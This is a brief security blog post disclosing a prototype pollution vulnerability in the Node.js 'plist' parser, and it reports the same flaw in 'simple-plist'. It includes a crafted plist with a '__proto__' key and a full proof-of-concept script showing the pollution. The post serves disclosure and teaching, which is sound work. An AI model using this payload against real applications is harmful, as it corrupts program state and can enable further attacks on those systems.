by Guilherme Keerok

Plist is a NodeJS package to read plist files. Plist files are most commonly used in Apple systems and the lib at the time this post is written has 3.492.336 weekly downloads.

There’s nothing new in this blog post, prototype pollution already has a lot of articles like this, so I will show just this vulnerability.

Plist files intiate with

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">

You will need to close the file with </plist> at the end, the important thing are in the middle of the plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
    <key>metadata</key>
    <dict>
      <key>bundle-identifier</key>
      <string>com.company.app</string>
    </dict>
  </plist>

When a plist is parsed by parse() function, the key will have one child and the dict inside it can have many children.


Vulnerability

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>__proto__</key>
    <dict>
      <key>length</key>
      <string>polluted</string>
    </dict>
  </dict>
</plist>

Using the previous XML, the parse will set the key for the key variable with the value __proto__.

At the end of the for loop, this key will be set to new_obj Object. This also happens to the dict children, the only difference is that dict is an Object with length(key) and polluted(value).

The full PoC code:

var plist = require('plist');
var xmlPollution = `
<plist version="1.0">
  <dict>
    <key>__proto__</key>
    <dict>
      <key>length</key>
      <string>polluted</string>
    </dict>
  </dict>
</plist>`;
console.log(plist.parse(xmlPollution).length); // polluted

I also have found the same vulnerability in simple-plist